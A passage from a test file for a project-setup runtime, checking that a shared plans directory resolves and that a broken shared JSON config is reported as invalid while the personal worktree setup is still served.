expect(await runtime.resolveSharedPlansDir(projectId)).toBe(path.join(repo, 'docs', 'plans'));
|
||
|
|
expect(await runtime.resolveSharedPlansDir('project-test')).toBeNull();
|
||
|
|
} finally {
|
||
|
|
await cleanup();
|
||
|
|
}
|
||
|
|
});
|
||
|
|
|
||
|
|
it('reports a broken shared file as invalid and still serves the personal setup', async () => {
|
||
|
|
const { runtime, tempRoot, cleanup } = await createRuntime();
|
||
|
|
try {
|
||
|
|
const repo = path.join(tempRoot, 'repo');
|
||
|
|
await mkdir(path.join(repo, '.openchamber'), { recursive: true });
|
||
|
|
await writeFile(path.join(repo, '.openchamber', 'project.json'), '{ broken');
|
||
|
|
const projectId = createProjectIdFromPath(repo);
|
||
|
|
await runtime.updateProjectSetup(projectId, { setupWorktree: ['mine'] });
|
||
|
|
|
||
|
|
const view = await runtime.readProjectSetup(projectId);
|
||
|
|
expect(view.shared.status).toBe('invalid');
|
||
|
|
expect(view.shared.reason).toMatch(/invalid JSON/);
|
||
|
|
expect(view.setupWorktree).toEqual(['mine']);
|
||
|
|
} finally {
|
||
|
|
await cleanup();
|
||
|
|
}
|
||
|
|
});
|
||
|
|
});
|